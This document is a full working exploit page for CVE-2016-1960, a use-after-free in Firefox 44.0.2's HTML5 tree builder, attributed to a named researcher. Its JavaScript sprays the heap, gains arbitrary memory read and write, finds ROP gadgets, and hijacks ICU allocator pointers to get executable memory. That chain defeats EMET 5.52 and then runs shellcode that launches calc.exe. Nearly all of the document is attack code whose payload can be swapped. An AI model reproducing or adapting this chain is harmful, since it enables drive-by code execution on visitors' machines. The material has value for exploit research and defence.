Mozilla Firefox versions prior to 45 nsHtml5TreeBuilder use-after-free exploit with EMET 5.52 bypass.
8008f48b0fd538cf58c28aaca53512bf
<!doctype html>
<html>
<head>
<meta http-equiv="cache-control" content="no-cache" charset="utf-8" />
<title>CVE-2016-1960</title>
<script>
/*
* Exploit Title: Mozilla Firefox < 45.0 nsHtml5TreeBuilder Array Indexing Vulnerability (EMET 5.52 bypass)
* Author: Hans Jerry Illikainen (exploit), ca0nguyen (vulnerability)
* Vendor Homepage: https://mozilla.org
* Software Link: https://ftp.mozilla.org/pub/firefox/releases/44.0.2/win32/en-US/
* Version: 44.0.2
* Tested on: Windows 7 and Windows 10
* CVE: CVE-2016-1960
*
* Exploit for CVE-2016-1960 [1] targeting Firefox 44.0.2 [2] on WoW64
* with/without EMET 5.52.
*
* Tested on:
* - 64bit Windows 10 Pro+Home (version 1703)
* - 64bit Windows 7 Pro SP1
*
* Vulnerability disclosed by ca0nguyen [1].
* Exploit written by Hans Jerry Illikainen <[email protected]>.
*
* [1] https://bugzilla.mozilla.org/show_bug.cgi?id=1246014
* [2] https://ftp.mozilla.org/pub/firefox/releases/44.0.2/win32/en-US/
*/
"use strict";
/* This is executed after having pivoted the stack. `esp' points to a
* region on the heap, and the original stack pointer is stored in
* `edi'. In order to bypass EMET, the shellcode should make sure to
* xchg edi, esp before any protected function is called.
*
* For convenience, the first two "arguments" to the shellcode is a
* module handle for kernel32.dll and the address of GetProcAddress() */
const shellcode = [
"\x8b\x84\x24\x04\x00\x00\x00", /* mov eax, dword [esp + 0x4] */
"\x8b\x8c\x24\x08\x00\x00\x00", /* mov ecx, dword [esp + 0x8] */
"\x87\xe7", /* xchg edi, esp */
"\x56", /* push esi */
"\x57", /* push edi */
"\x89\xc6", /* mov esi, eax */
"\x89\xcf", /* mov edi, ecx */
"\x68\x78\x65\x63\x00", /* push xec\0 */
"\x68\x57\x69\x6e\x45", /* push WinE */
"\x54", /* push esp */
"\x56", /* push esi */
"\xff\xd7", /* call edi */
"\x83\xc4\x08", /* add esp, 0x8 */
"\x6a\x00", /* push 0 */
"\x68\x2e\x65\x78\x65", /* push .exe */
"\x68\x63\x61\x6c\x63", /* push calc */
"\x89\xe1", /* mov ecx, esp */
"\x6a\x01", /* push 1 */
"\x51", /* push ecx */
"\xff\xd0", /* call eax */
"\x83\xc4\x0c", /* add esp, 0xc */
"\x5f", /* pop edi */
"\x5e", /* pop esi */
"\x87\xe7", /* xchg edi, esp */
"\xc3", /* ret */
];
function ROPHelper(pe, rwx) {
this.pe = pe;
this.rwx = rwx;
this.cache = {};
this.search = function(instructions) {
for (let addr in this.cache) {
if (this.match(this.cache[addr], instructions) === true) {
return addr;
}
}
const text = this.pe.text;
for (let addr = text.base; addr < text.base + text.size; addr++) {
const read = this.rwx.readBytes(addr, instructions.length);
if (this.match(instructions, read) === true) {
this.cache[addr] = instructions;
return addr;
}
}
throw new Error("could not find gadgets for " + instructions);
};
this.match = function(a, b) {
if (a.length !== b.length) {
return false;
}
for (let i = 0; i < a.length; i++) {
if (a[i] !== b[i]) {
return false;
}
}
return true;
};
this.execute = function(func, args, cleanup) {
const u32array = this.rwx.u32array;
const ret = this.rwx.calloc(4);
let i = this.rwx.div.mem.idx + 2941; /* gadgets after [A] and [B] */
/*
* [A] stack pivot
*
* xchg eax, esp
* ret 0x2de8
*/
const pivot = this.search([0x94, 0xc2, 0xe8, 0x2d]);
/*
* [B] preserve old esp in a nonvolatile register
*
* xchg eax, edi
* ret
*/
const after = this.search([0x97, 0xc3]);
/*
* [C] address to execute
*/
u32array[i++] = func;
if (cleanup === true && args.length > 0) {
if (args.length > 1) {
/*
* [E] return address from [C]: cleanup args on the stack
*
* add esp, args.length*4
* ret
*/
u32array[i++] = this.search([0x83, 0xc4, args.length*4, 0xc3]);
} else {
/*
* [E] return address from [C]: cleanup arg
*
* pop ecx
* ret
*/
u32array[i++] = this.search([0x59, 0xc3]);
}
} else {
/*
* [E] return address from [C]
*
* ret
*/
u32array[i++] = this.search([0xc3]);
}
/*
* [D] arguments for [C]
*/
for (let j = 0; j < args.length; j++) {
u32array[i++] = args[j];
}
/*
* [F] pop the location for the return value
*
* pop ecx
* ret
*/
u32array[i++] = this.search([0x59, 0xc3]);
/*
* [G] address to store the return value
*/
u32array[i++] = ret.addr;
/*
* [H] move the return value to [G]
*
* mov dword [ecx], eax
* ret
*/
u32array[i++] = this.search([0x89, 0x01, 0xc3]);
/*
* [I] restore the original esp and return
*
* mov esp, edi
* ret
*/
u32array[i++] = this.search([0x89, 0xfc, 0xc3]);
this.rwx.execute(pivot, after);
return u32array[ret.idx];
};
}
function ICUUC55(rop, pe, rwx) {
this.rop = rop;
this.pe = pe;
this.rwx = rwx;
this.kernel32 = new KERNEL32(rop, pe, rwx);
this.icuuc55handle = this.kernel32.GetModuleHandleA("icuuc55.dll");
/*
* The invocation of uprv_malloc_55() requires special care since
* pAlloc points to a protected function (VirtualAlloc).
*
* ROPHelper.execute() can't be used because:
* 1. it pivots the stack to the heap (StackPivot protection)
* 2. it returns into the specified function (Caller protection)
* 3. the forward ROP chain is based on returns (SimExecFlow protection)
*
* This function consist of several steps:
* 1. a second-stage ROP chain is written to the stack
* 2. a first-stage ROP chain is executed that pivots to the heap
* 3. the first-stage ROP chain continues by pivoting to #1
* 4. uprv_malloc_55() is invoked
* 5. the return value is saved
* 6. the original stack is restored
*
* Of note is that uprv_malloc_55() only takes a `size' argument,
* and it passes two arguments to the hijacked pAlloc function
* pointer (context and size; both in our control). VirtualAlloc,
* on the other hand, expects four arguments. So, we'll have to
* setup the stack so that the values interpreted by VirtualAlloc as
* its arguments are reasonably-looking.
*
* By the time that uprv_malloc_55() is returned into, the stack
* will look like:
* [A] [B] [C] [D]
*
* When pAlloc is entered, the stack will look like:
* [uprv_malloc_55()-ret] [pContext] [B] [A] [B] [C] [D]
*
* Since we've set pAlloc to point at VirtualAlloc, the call is
* interpreted as VirtualAlloc(pContext, B, A, B);
*
* Hence, because we want `flProtect' to be PAGE_EXECUTE_READWRITE,
* we also have to have a `size' with the same value; meaning our
* rwx allocation will only be 0x40 bytes.
*
* This is not a problem, since we can simply write a small snippet
* of shellcode that allocates a larger region in a non-ROPy way
* afterwards.
*/
this.uprv_malloc_55 = function(stackAddr) {
const func = this.kernel32.GetProcAddress(this.icuuc55handle,
"uprv_malloc_55");
const ret = this.rwx.calloc(4);
const u32array = this.rwx.u32array;
/**********************
* second stage gadgets
**********************/
const stackGadgets = new Array(
func,
0x1000, /* [A] flAllocationType (MEM_COMMIT) */
0x40, /* [B] dwSize and flProtect (PAGE_EXECUTE_READWRITE) */
0x41414141, /* [C] */
0x42424242, /* [D] */
/*
* location to write the return value
*
* pop ecx
* ret
*/
this.rop.search([0x59, 0xc3]),
ret.addr,
/*
* do the write
*
* mov dword [ecx], eax
* ret
*/
this.rop.search([0x89, 0x01, 0xc3]),
/*
* restore the old stack
*
* mov esp, edi
* ret
*/
this.rop.search([0x89, 0xfc, 0xc3])
);
const origStack = this.rwx.readDWords(stackAddr, stackGadgets.length);
this.rwx.writeDWords(stackAddr, stackGadgets);
/*********************
* first stage gadgets
*********************/
/*
* pivot
*
* xchg eax, esp
* ret 0x2de8
*/
const pivot = this.rop.search([0x94, 0xc2, 0xe8, 0x2d]);
/*
* preserve old esp in a nonvolatile register
*
* xchg eax, edi
* ret
*/
const after = this.rop.search([0x97, 0xc3]);
/*
* pivot to the second stage
*
* pop esp
* ret
*/
u32array[this.rwx.div.mem.idx + 2941] = this.rop.search([0x5c, 0xc3]);
u32array[this.rwx.div.mem.idx + 2942] = stackAddr;
/*
* here we go :)
*/
this.rwx.execute(pivot, after);
this.rwx.writeDWords(stackAddr, origStack);
if (u32array[ret.idx] === 0) {
throw new Error("uprv_malloc_55() failed");
}
return u32array[ret.idx];
};
/*
* Overrides the pointers in firefox-44.0.2/intl/icu/source/common/cmemory.c
*/
this.u_setMemoryFunctions_55 = function(context, a, r, f, status) {
const func = this.kernel32.GetProcAddress(this.icuuc55handle,
"u_setMemoryFunctions_55");
this.rop.execute(func, [context, a, r, f, status], true);
};
/*
* Sets `pAlloc' to VirtualAlloc. `pRealloc' and `pFree' are
* set to point to small gadgets.
*/
this.set = function() {
const status = this.rwx.calloc(4);
const alloc = this.pe.search("kernel32.dll", "VirtualAlloc");
/* pretend to be a failed reallocation
*
* xor eax, eax
* ret */
const realloc = this.rop.search([0x33, 0xc0, 0xc3]);
/* let the chunk live
*
* ret */
const free = this.rop.search([0xc3]);
this.u_setMemoryFunctions_55(0, alloc, realloc, free, status.addr);
if (this.rwx.u32array[status.idx] !== 0) {
throw new Error("u_setMemoryFunctions_55() failed");
}
};
/*
* This (sort of) restores the functionality in
* intl/icu/source/common/cmemory.c by reusing the previously
* allocated PAGE_EXECUTE_READWRITE chunk to set up three stubs that
* invokes an appropriate function in mozglue.dll
*/
this.reset = function(chunk) {
const u32array = this.rwx.u32array;
const status = this.rwx.calloc(4);
/*
* pFree
*/
const free = {};
free.addr = chunk;
free.func = this.rwx.calloc(4);
free.func.str = this.dword2str(free.func.addr);
free.code = [
"\x8b\x84\x24\x08\x00\x00\x00", /* mov eax, dword [esp + 0x8] */
"\x50", /* push eax */
"\x8b\x05" + free.func.str, /* mov eax, [location-of-free] */
"\xff\xd0", /* call eax */
"\x59", /* pop ecx */
"\xc3", /* ret */
].join("");
u32array[free.func.idx] = this.pe.search("mozglue.dll", "free");
this.rwx.writeString(free.addr, free.code);
/*
* pAlloc
*/
const alloc = {};
alloc.addr = chunk + free.code.length;
alloc.func = this.rwx.calloc(4);
alloc.func.str = this.dword2str(alloc.func.addr);
alloc.code = [
"\x8b\x84\x24\x08\x00\x00\x00", /* mov eax, dword [esp + 0x8] */
"\x50", /* push eax */
"\x8b\x05" + alloc.func.str, /* mov eax, [location-of-alloc] */
"\xff\xd0", /* call eax */
"\x59", /* pop ecx */
"\xc3", /* ret */
].join("");
u32array[alloc.func.idx] = this.pe.search("mozglue.dll", "malloc");
this.rwx.writeString(alloc.addr, alloc.code);
/*
* pRealloc
*/
const realloc = {};
realloc.addr = chunk + free.code.length + alloc.code.length;
realloc.func = this.rwx.calloc(4);
realloc.func.str = this.dword2str(realloc.func.addr);
realloc.code = [
"\x8b\x84\x24\x0c\x00\x00\x00", /* mov eax, dword [esp + 0xc] */
"\x50", /* push eax */
"\x8b\x84\x24\x0c\x00\x00\x00", /* mov eax, dword [esp + 0xc] */
"\x50", /* push eax */
"\x8b\x05" + realloc.func.str, /* mov eax, [location-of-realloc] */
"\xff\xd0", /* call eax */
"\x59", /* pop ecx */
"\x59", /* pop ecx */
"\xc3", /* ret */
].join("");
u32array[realloc.func.idx] = this.pe.search("mozglue.dll", "realloc");
this.rwx.writeString(realloc.addr, realloc.code);
this.u_setMemoryFunctions_55(0,
alloc.addr,
realloc.addr,
free.addr,
status.addr);
if (u32array[status.idx] !== 0) {
throw new Error("u_setMemoryFunctions_55() failed");
}
};
/*
* Allocates a small chunk of memory marked RWX, which is used
* to allocate a `size'-byte chunk (see uprv_malloc_55()). The
* first allocation is then repurposed in reset().
*/
this.alloc = function(stackAddr, size) {
/*
* hijack the function pointers
*/
this.set();
/*
* do the initial 0x40 byte allocation
*/
const chunk = this.uprv_malloc_55(stackAddr);
log("allocated 0x40 byte chunk at 0x" + chunk.toString(16));
/*
* allocate a larger chunk now that we're no longer limited to ROP/JOP
*/
const u32array = this.rwx.u32array;
const func = this.rwx.calloc(4);
func.str = this.dword2str(func.addr);
u32array[func.idx] = this.pe.search("kernel32.dll", "VirtualAlloc");
const code = [
"\x87\xe7", /* xchg edi, esp (orig stack) */
"\x6a\x40", /* push 0x40 (flProtect) */
"\x68\x00\x10\x00\x00", /* push 0x1000 (flAllocationType) */
"\xb8" + this.dword2str(size), /* move eax, size */
"\x50", /* push eax (dwSize) */
"\x6a\x00", /* push 0 (lpAddress) */
"\x8b\x05" + func.str, /* mov eax, [loc-of-VirtualAlloc] */
"\xff\xd0", /* call eax */
"\x87\xe7", /* xchg edi, esp (back to heap) */
"\xc3", /* ret */
].join("");
this.rwx.writeString(chunk, code);
const newChunk = this.rop.execute(chunk, [], false);
log("allocated " + size + " byte chunk at 0x" + newChunk.toString(16));
/*
* repurpose the first rwx chunk to restore functionality
*/
this.reset(chunk);
return newChunk;
};
this.dword2str = function(dword) {
let str = "";
for (let i = 0; i < 4; i++) {
str += String.fromCharCode((dword >> 8 * i) & 0xff);
}
return str;
};
}
function KERNEL32(rop, pe, rwx) {
this.rop = rop;
this.pe = pe;
this.rwx = rwx;
/*
* Retrieves a handle for an imported module
*/
this.GetModuleHandleA = function(lpModuleName) {
const func = this.pe.search("kernel32.dll", "GetModuleHandleA");
const name = this.rwx.copyString(lpModuleName);
const module = this.rop.execute(func, [name.addr], false);
if (module === 0) {
throw new Error("could not get a handle for " + lpModuleName);
}
return module;
};
/*
* Retrieves the address of an exported symbol. Do not invoke this
* function on protected modules (if you want to bypass EAF); instead
* try to locate the symbol in any of the import tables or choose
* another target.
*/
this.GetProcAddress = function(hModule, lpProcName) {
const func = this.pe.search("kernel32.dll", "GetProcAddress");
const name = this.rwx.copyString(lpProcName);
const addr = this.rop.execute(func, [hModule, name.addr], false);
if (addr === 0) {
throw new Error("could not get address for " + lpProcName);
}
return addr;
};
/*
* Retrieves a handle for the current thread
*/
this.GetCurrentThread = function() {
const func = this.pe.search("kernel32.dll", "GetCurrentThread");
return this.rop.execute(func, [], false);
};
}
function NTDLL(rop, pe, rwx) {
this.rop = rop;
this.pe = pe;
this.rwx = rwx;
/*
* Retrieves the stack limit from the Thread Environment Block
*/
this.getStackLimit = function(ThreadHandle) {
const mem = this.rwx.calloc(0x1c);
this.NtQueryInformationThread(ThreadHandle, 0, mem.addr, mem.size, 0);
return this.rwx.readDWord(this.rwx.u32array[mem.idx+1] + 8);
};
/*
* Retrieves thread information
*/
this.NtQueryInformationThread = function(ThreadHandle,
ThreadInformationClass,
ThreadInformation,
ThreadInformationLength,
ReturnLength) {
const func = this.pe.search("ntdll.dll", "NtQueryInformationThread");
const ret = this.rop.execute(func, arguments, false);
if (ret !== 0) {
throw new Error("NtQueryInformationThread failed");
}
return ret;
};
}
function ReadWriteExecute(u32base, u32array, array) {
this.u32base = u32base;
this.u32array = u32array;
this.array = array;
/*
* Reads `length' bytes from `addr' through a fake string
*/
this.readBytes = function(addr, length) {
/* create a string-jsval */
this.u32array[4] = this.u32base + 6*4; /* addr to meta */
this.u32array[5] = 0xffffff85; /* type (JSVAL_TAG_STRING) */
/* metadata */
this.u32array[6] = 0x49; /* flags */
this.u32array[7] = length; /* read size */
this.u32array[8] = addr; /* memory to read */
/* Uint8Array is *significantly* slower, which kills our ROP hunting */
const result = new Array();
const str = this.getArrayElem(4);
for (let i = 0; i < str.length; i++) {
result[i] = str.charCodeAt(i);
}
return result;
};
this.readDWords = function(addr, num) {
const bytes = this.readBytes(addr, num * 4);
const dwords = new Uint32Array(num);
for (let i = 0; i < bytes.length; i += 4) {
for (let j = 0; j < 4; j++) {
dwords[i/4] |= bytes[i+j] << (8 * j);
}
}
return dwords;
};
this.readDWord = function(addr) {
return this.readDWords(addr, 1)[0];
};
this.readWords = function(addr, num) {
const bytes = this.readBytes(addr, num * 2);
const words = new Uint16Array(num);
for (let i = 0; i < bytes.length; i += 2) {
for (let j = 0; j < 2; j++) {
words[i/2] |= bytes[i+j] << (8 * j);
}
}
return words;
};
this.readWord = function(addr) {
return this.readWords(addr, 1)[0];
};
this.readString = function(addr) {
for (let i = 0, str = ""; ; i++) {
const chr = this.readBytes(addr + i, 1)[0];
if (chr === 0) {
return str;
}
str += String.fromCharCode(chr);
}
};
/*
* Writes `values' to `addr' by using the metadata of an Uint8Array
* to set up a write primitive
*/
this.writeBytes = function(addr, values) {
/* create jsval */
const jsMem = this.calloc(8);
this.setArrayElem(jsMem.idx, new Uint8Array(values.length));
/* copy metadata */
const meta = this.readDWords(this.u32array[jsMem.idx], 12);
const metaMem = this.calloc(meta.length * 4);
for (let i = 0; i < meta.length; i++) {
this.u32array[metaMem.idx + i] = meta[i];
}
/* change the pointer to the contents of the Uint8Array */
this.u32array[metaMem.idx + 10] = addr;
/* change the pointer to the metadata */
const oldMeta = this.u32array[jsMem.idx];
this.u32array[jsMem.idx] = metaMem.addr;
/* write */
const u8 = this.getArrayElem(jsMem.idx);
for (let i = 0; i < values.length; i++) {
u8[i] = values[i];
}
/* clean up */
this.u32array[jsMem.idx] = oldMeta;
};
this.writeDWords = function(addr, values) {
const u8 = new Uint8Array(values.length * 4);
for (let i = 0; i < values.length; i++) {
for (let j = 0; j < 4; j++) {
u8[i*4 + j] = values[i] >> (8 * j) & 0xff;
}
}
this.writeBytes(addr, u8);
};
this.writeDWord = function(addr, value) {
const u32 = new Uint32Array(1);
u32[0] = value;
this.writeDWords(addr, u32);
};
this.writeString = function(addr, str) {
const u8 = new Uint8Array(str.length);
for (let i = 0; i < str.length; i++) {
u8[i] = str.charCodeAt(i);
}
this.writeBytes(addr, u8);
};
/*
* Copies a string to the `u32array' and returns an object from
* calloc().
*
* This is an ugly workaround to allow placing a string at a known
* location without having to implement proper support for JSString
* and its various string types.
*/
this.copyString = function(str) {
str += "\x00".repeat(4 - str.length % 4);
const mem = this.calloc(str.length);
for (let i = 0, j = 0; i < str.length; i++) {
if (i && !(i % 4)) {
j++;
}
this.u32array[mem.idx + j] |= str.charCodeAt(i) << (8 * (i % 4));
}
return mem;
};
/*
* Creates a <div> and copies the contents of its vftable to
* writable memory.
*/
this.createExecuteDiv = function() {
const div = {};
/* 0x3000 bytes should be enough for the div, vftable and gadgets */
div.mem = this.calloc(0x3000);
div.elem = document.createElement("div");
this.setArrayElem(div.mem.idx, div.elem);
/* addr of the div */
const addr = this.u32array[div.mem.idx];
/* *(addr+4) = this */
const ths = this.readDWord(addr + 4*4);
/* *this = xul!mozilla::dom::HTMLDivElement::`vftable' */
const vftable = this.readDWord(ths);
/* copy the vftable (the size is a guesstimate) */
const entries = this.readDWords(vftable, 512);
this.writeDWords(div.mem.addr + 4*2, entries);
/* replace the pointer to the original vftable with ours */
this.writeDWord(ths, div.mem.addr + 4*2);
return div;
};
/*
* Replaces two vftable entries of the previously created div and
* triggers code execution
*/
this.execute = function(pivot, postPivot) {
/* vftable entry for xul!nsGenericHTMLElement::QueryInterface
* kind of ugly, but we'll land here after the pivot that's used
* in ROPHelper.execute() */
const savedQueryInterface = this.u32array[this.div.mem.idx + 2];
this.u32array[this.div.mem.idx + 2] = postPivot;
/* vftable entry for xul!nsGenericHTMLElement::Click */
const savedClick = this.u32array[this.div.mem.idx + 131];
this.u32array[this.div.mem.idx + 131] = pivot;
/* execute */
this.div.elem.click();
/* restore our overwritten vftable pointers */
this.u32array[this.div.mem.idx + 2] = savedQueryInterface;
this.u32array[this.div.mem.idx + 131] = savedClick;
};
/*
* Reserves space in the `u32array' and initializes it to 0.
*
* Returns an object with the following properties:
* - idx: index of the start of the allocation in the u32array
* - addr: start address of the allocation
* - size: non-padded allocation size
* - realSize: padded size
*/
this.calloc = function(size) {
let padded = size;
if (!size || size % 4) {
padded += 4 - size % 4;
}
const found = [];
/* the first few dwords are reserved for the metadata belonging
* to `this.array' and for the JSString in readBytes (since using
* this function would impact the speed of the ROP hunting) */
for (let i = 10; i < this.u32array.length - 1; i += 2) {
if (this.u32array[i] === 0x11223344 &&
this.u32array[i+1] === 0x55667788) {
found.push(i, i+1);
if (found.length >= padded / 4) {
for (let j = 0; j < found.length; j++) {
this.u32array[found[j]] = 0;
}
return {
idx: found[0],
addr: this.u32base + found[0]*4,
size: size,
realSize: padded,
};
}
} else {
found.length = 0;
}
}
throw new Error("calloc(): out of memory");
};
/*
* Returns an element in `array' based on an index for `u32array'
*/
this.getArrayElem = function(idx) {
if (idx <= 3 || idx % 2) {
throw new Error("invalid index");
}
return this.array[(idx - 4) / 2];
};
/*
* Sets an element in `array' based on an index for `u32array'
*/
this.setArrayElem = function(idx, value) {
if (idx <= 3 || idx % 2) {
throw new Error("invalid index");
}
this.array[(idx - 4) / 2] = value;
};
this.div = this.createExecuteDiv();
}
function PortableExecutable(base, rwx) {
this.base = base;
this.rwx = rwx;
this.imports = {};
this.text = {};
/*
* Parses the PE import table. Some resources of interest:
*
* - An In-Depth Look into the Win32 Portable Executable File Format
* https://msdn.microsoft.com/en-us/magazine/bb985992(printer).aspx
*
* - Microsoft Portable Executable and Common Object File Format Specification
* https://www.microsoft.com/en-us/download/details.aspx?id=19509
*
* - Understanding the Import Address Table
* http://sandsprite.com/CodeStuff/Understanding_imports.html
*/
this.read = function() {
const rwx = this.rwx;
let addr = this.base;
/*
* DOS header
*/
const magic = rwx.readWord(addr);
if (magic !== 0x5a4d) {
throw new Error("bad DOS header");
}
const lfanew = rwx.readDWord(addr + 0x3c, 4);
addr += lfanew;
/*
* Signature
*/
const signature = rwx.readDWord(addr);
if (signature !== 0x00004550) {
throw new Error("bad signature");
}
addr += 4;
/*
* COFF File Header
*/
addr += 20;
/*
* Optional Header
*/
const optionalMagic = rwx.readWord(addr);
if (optionalMagic !== 0x010b) {
throw new Error("bad optional header");
}
this.text.size = rwx.readDWord(addr + 4);
this.text.base = this.base + rwx.readDWord(addr + 20);
const numberOfRvaAndSizes = rwx.readDWord(addr + 92);
addr += 96;
/*
* Optional Header Data Directories
*
* N entries * 2 DWORDs (RVA and size)
*/
const directories = rwx.readDWords(addr, numberOfRvaAndSizes * 2);
for (let i = 0; i < directories[3] - 5*4; i += 5*4) {
/* Import Directory Table (N entries * 5 DWORDs) */
const members = rwx.readDWords(this.base + directories[2] + i, 5);
const lookupTable = this.base + members[0];
const dllName = rwx.readString(this.base+members[3]).toLowerCase();
const addrTable = this.base + members[4];
this.imports[dllName] = {};
/* Import Lookup Table */
for (let j = 0; ; j += 4) {
const hintNameRva = rwx.readDWord(lookupTable + j);
/* the last entry is NULL */
if (hintNameRva === 0) {
break;
}
/* name is not available if the dll is imported by ordinal */
if (hintNameRva & (1 << 31)) {
continue;
}
const importName = rwx.readString(this.base + hintNameRva + 2);
const importAddr = rwx.readDWord(addrTable + j);
this.imports[dllName][importName] = importAddr;
}
}
};
/*
* Searches for an imported symbol
*/
this.search = function(dll, symbol) {
if (this.imports[dll] === undefined) {
throw new Error("unknown dll: " + dll);
}
const addr = this.imports[dll][symbol];
if (addr === undefined) {
throw new Error("unknown symbol: " + symbol);
}
return addr;
};
}
function Spray() {
this.nodeBase = 0x80000000;
this.ptrNum = 64;
this.refcount = 0xffffffff;
/*
* 0:005> ?? sizeof(nsHtml5StackNode)
* unsigned int 0x1c
*/
this.nsHtml5StackNodeSize = 0x1c;
/*
* Creates a bunch of fake nsHtml5StackNode:s with the hope of hitting
* the address of elementName->name when it's [xul!nsHtml5Atoms::style].
*
* Ultimately, the goal is to enter the conditional on line 2743:
*
* firefox-44.0.2/parser/html/nsHtml5TreeBuilder.cpp:2743
* ,----
* | 2214 void
* | 2215 nsHtml5TreeBuilder::endTag(nsHtml5ElementName* elementName)
* | 2216 {
* | ....
* | 2221 nsIAtom* name = elementName->name;
* | ....
* | 2741 for (; ; ) {
* | 2742 nsHtml5StackNode* node = stack[eltPos];
* | 2743 if (node->ns == kNameSpaceID_XHTML && node->name == name) {
* | ....
* | 2748 while (currentPtr >= eltPos) {
* | 2749 pop();
* | 2750 }
* | 2751 NS_HTML5_BREAK(endtagloop);
* | 2752 } else if (node->isSpecial()) {
* | 2753 errStrayEndTag(name);
* | 2754 NS_HTML5_BREAK(endtagloop);
* | 2755 }
* | 2756 eltPos--;
* | 2757 }
* | ....
* | 3035 }
* `----
*
* We get 64 attempts each time the bug is triggered -- however, in
* order to have a clean break, the last node has its flags set to
* NS_HTML5ELEMENT_NAME_SPECIAL, so that the conditional on line
* 2752 is entered.
*
* If we do find ourselves with a node->name == name, then
* nsHtml5TreeBuilder::pop() invokes nsHtml5StackNode::release().
* The release() method decrements the nodes refcount -- and, if the
* refcount reaches 0, also deletes it.
*
* Assuming everything goes well, the Uint32Array is allocated with
* the method presented by SkyLined/@berendjanwever in:
*
* "Heap spraying high addresses in 32-bit Chrome/Firefox on 64-bit Windows"
* http://blog.skylined.nl/20160622001.html
*/
this.nodes = function(name, bruteforce) {
const nodes = new Uint32Array(0x19000000);
const size = this.nsHtml5StackNodeSize / 4;
const refcount = bruteforce ? this.refcount : 1;
let flags = 0;
for (let i = 0; i < this.ptrNum * size; i += size) {
if (i === (this.ptrNum - 1) * size) {
flags = 1 << 29; /* NS_HTML5ELEMENT_NAME_SPECIAL */
name = 0x0;
}
nodes[i] = flags;
nodes[i+1] = name;
nodes[i+2] = 0; /* popName */
nodes[i+3] = 3; /* ns (kNameSpaceID_XHTML) */
nodes[i+4] = 0; /* node */
nodes[i+5] = 0; /* attributes */
nodes[i+6] = refcount;
name += 0x100000;
}
return nodes;
};
/*
* Sprays pointers to the fake nsHtml5StackNode:s created in nodes()
*/
this.pointers = function() {
const pointers = new Array();
for (let i = 0; i < 0x30000; i++) {
pointers[i] = new Uint32Array(this.ptrNum);
let node = this.nodeBase;
for (let j = pointers[i].length - 1; j >= 0; j--) {
pointers[i][j] = node;
node += this.nsHtml5StackNodeSize;
}
}
return pointers;
};
/*
* Sprays a bunch of arrays with the goal of having one hijack the
* previously freed Uint32Array
*/
this.arrays = function() {
const array = new Array();
for (let i = 0; i < 0x800; i++) {
array[i] = new Array();
for (let j = 0; j < 0x10000; j++) {
/* 0x11223344, 0x55667788 */
array[i][j] = 2.5160082934009793e+103;
}
}
return array;
};
/*
* Not sure how reliable this is, but on 3 machines running win10 on
* bare metal and on a few VMs with win7/win10 (all with and without
* EMET), [xul!nsHtml5Atoms::style] was always found within
* 0x[00a-1c2]f[a-f]6(c|e)0
*/
this.getNextAddr = function(current) {
const start = 0x00afa6c0;
if (!current) {
return start;
}
if ((current >> 20) < 0x150) {
return current + 0x100000*(this.ptrNum-1);
}
if ((current >> 12 & 0xf) !== 0xf) {
return (current + 0x1000) & ~(0xfff << 20) | (start >> 20) << 20;
}
if ((current >> 4 & 0xf) === 0xc) {
return start + 0x20;
}
throw new Error("out of guesses");
};
/*
* Returns the `name' from the last node with a decremented
* refcount, if any are found
*/
this.findStyleAddr = function(nodes) {
const size = this.nsHtml5StackNodeSize / 4;
for (let i = 64 * size - 1; i >= 0; i -= size) {
if (nodes[i] === this.refcount - 1) {
return nodes[i-5];
}
}
};
/*
* Locates a subarray in `array' that overlaps with `nodes'
*/
this.findArray = function(nodes, array) {
/* index 0..3 is metadata for `array' */
nodes[4] = 0x41414141;
nodes[5] = 0x42424242;
for (let i = 0; i < array.length; i++) {
if (array[i][0] === 156842099330.5098) {
return array[i];
}
}
throw new Error("Uint32Array hijack failed");
};
}
function log(msg) {
dump("=> " + msg + "\n");
console.log("=> " + msg);
}
let nodes;
let hijacked;
window.onload = function() {
if (!navigator.userAgent.match(/Windows NT [0-9.]+; WOW64; rv:44\.0/)) {
throw new Error("unsupported user-agent");
}
const spray = new Spray();
/*
* spray nodes
*/
let bruteforce = true;
let addr = spray.getNextAddr(0);
const href = window.location.href.split("?");
if (href.length === 2) {
const query = href[1].split("=");
if (query[0] === "style") {
bruteforce = false;
}
addr = parseInt(query[1]);
}
nodes = spray.nodes(addr, bruteforce);
/*
* spray node pointers and trigger the bug
*/
document.body.innerHTML = "<svg><img id='AAAA'>";
const pointers = spray.pointers();
document.getElementById("AAAA").innerHTML = "<title><template><td><tr><title><i></tr><style>td</style>";
/*
* on to the next run...
*/
if (bruteforce === true) {
const style = spray.findStyleAddr(nodes);
nodes = null;
if (style) {
window.location = href[0] + "?style=" + style;
} else {
window.location = href[0] + "?continue=" + spray.getNextAddr(addr);
}
return;
}
/*
* reallocate the freed Uint32Array
*/
hijacked = spray.findArray(nodes, spray.arrays());
/*
* setup helpers
*/
const rwx = new ReadWriteExecute(spray.nodeBase, nodes, hijacked);
/* The first 4 bytes of the previously leaked [xul!nsHtml5Atoms::style]
* contain the address of xul!PermanentAtomImpl::`vftable'.
*
* Note that the subtracted offset is specific to firefox 44.0.2.
* However, since we can read arbitrary memory by this point, the
* base of xul could easily (albeit perhaps somewhat slowly) be
* located by searching for a PE signature */
const xulBase = rwx.readDWord(addr) - 0x1c1f834;
log("style found at 0x" + addr.toString(16));
log("xul.dll found at 0x" + xulBase.toString(16));
const xulPE = new PortableExecutable(xulBase, rwx);
xulPE.read();
const rop = new ROPHelper(xulPE, rwx);
const kernel32 = new KERNEL32(rop, xulPE, rwx);
const kernel32handle = kernel32.GetModuleHandleA("kernel32.dll");
const kernel32PE = new PortableExecutable(kernel32handle, rwx);
kernel32PE.read();
const ntdll = new NTDLL(rop, kernel32PE, rwx);
const icuuc55 = new ICUUC55(rop, xulPE, rwx);
/*
* execute shellcode
*/
const stack = ntdll.getStackLimit(kernel32.GetCurrentThread());
const exec = icuuc55.alloc(stack, shellcode.length);
const proc = xulPE.search("kernel32.dll", "GetProcAddress");
rwx.writeString(exec, shellcode.join(""));
rop.execute(exec, [kernel32handle, proc], true);
};
</script>
</head>
</html>